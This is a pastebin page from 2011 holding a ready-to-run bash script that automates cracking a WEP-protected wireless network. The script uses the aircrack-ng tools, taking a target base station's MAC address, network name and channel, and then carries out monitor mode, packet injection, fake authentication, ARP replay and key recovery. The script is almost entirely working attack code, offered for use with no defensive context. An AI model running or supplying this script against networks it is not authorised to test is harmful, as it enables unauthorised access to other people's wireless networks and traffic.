pastebin - collaborative debugging tool
kpaste.net RSS


aircrack bash script
Posted by Phoenix on Fri 2nd Sep 2011 21:57
raw | new post

  1. #!/bin/bash
  2.  
  3. # Variables: $iface, $BSSID, $ESSID, $chan, $MAC
  4.  
  5. echo "AirCrack WEP"
  6. echo
  7.  
  8. # ask for wifi interface
  9. echo "Available Interfaces:"
  10. for i in `cat /proc/net/dev | grep ':' | cut -d ':' -f 1`
  11. do
  12.         ifname=`echo $i | tr -d ' '`
  13.         echo "$i"
  14. done
  15. echo
  16. while [[ -z $iface ]] || ! ifconfig $iface &>/dev/null; do
  17.         echo -n "Specify WiFi Interface (probably wlan0 or ath0) "
  18.         read iface
  19. done
  20.  
  21. echo
  22.  
  23. # get wifi card MAC address
  24. MAC=`ifconfig $iface | awk '/HWaddr/{print$5}'`
  25.  
  26. # ask for basestation MAC address
  27. while [[ -z `echo $BSSID | grep -P [a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]:[a-fA-F0-9][a-fA-F0-9]` ]]; do
  28.         echo -n "Specify Basestation MAC Address: "
  29.         read BSSID
  30. done
  31.  
  32. echo
  33.  
  34. # ask for network name
  35. while [[ -z $ESSID ]]; do
  36.         echo -n "Specify Wireless Network Name: "
  37.         read ESSID
  38. done
  39.  
  40. echo
  41.  
  42. # ask for channel
  43. while [[ $chan -lt 1 ]] || [[ $chan -gt 14 ]]; do
  44.         echo -n "Specify Channel No. [1-14]: "
  45.         read chan
  46. done
  47.  
  48. echo
  49.  
  50. # put card in monitor mode
  51. echo "Putting card in monitor mode..."
  52. airmon-ng stop wlan0 &>/dev/null
  53. for i in {0..9}; do
  54.         airmon-ng stop mon$i &>/dev/null
  55. done
  56.  
  57. airmon-ng start $iface $chan
  58.  
  59. echo
  60.  
  61. # injection test
  62. echo "Running injection test..."
  63. echo
  64. xterm -e aireplay-ng -9 -e $ESSID -a $BSSID mon0
  65. echo
  66. read -p "Was the injection test successful? [Y/n] "
  67. echo
  68. [[ $REPLY == n ]] && echo "AP is probably too far away, Exiting..." && exit
  69.  
  70. echo
  71.  
  72. # capture packets
  73. REPLY=n
  74. while [[ $REPLY == "n" ]]; do
  75.         read -p  "Start Capturing Packets? [Y/n] "
  76. done
  77. xterm -e airodump-ng -c $chan --bssid $BSSID -w output mon0 &
  78.  
  79. echo
  80.  
  81. # fake auth
  82. REPLY=n
  83. while [[ $REPLY == n ]]; do
  84.         if [[ $picky != y ]]; then
  85.                 xterm -e aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MAC mon0 &
  86.         else
  87.                 xterm -e aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $BSSID -h $MAC mon0 &
  88.         fi
  89.         echo
  90.         read -p "Was fake authentication successful? [Y/n] "
  91.         echo
  92.         [[ $REPLY == n ]] && picky=y
  93. done
  94.  
  95. # listen for ARP
  96. xterm -e aireplay-ng -3 -b $BSSID -h $MAC mon0 &
  97.  
  98. # start aircrack
  99. read -p "Press [ENTER] when ready to start aircrack"
  100. xterm -e aircrack-ng -b $BSSID output*.cap &
  101.  
  102. echo
  103. echo "If it is taking a long time you can also run:"
  104. echo
  105. echo "sudo aircrack-ng -K -b $BSSID output*.cap"

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with {%HIGHLIGHT}




All content is user-submitted.
The administrators of this site (kpaste.net) are not responsible for their content.
Abuse reports should be emailed to us at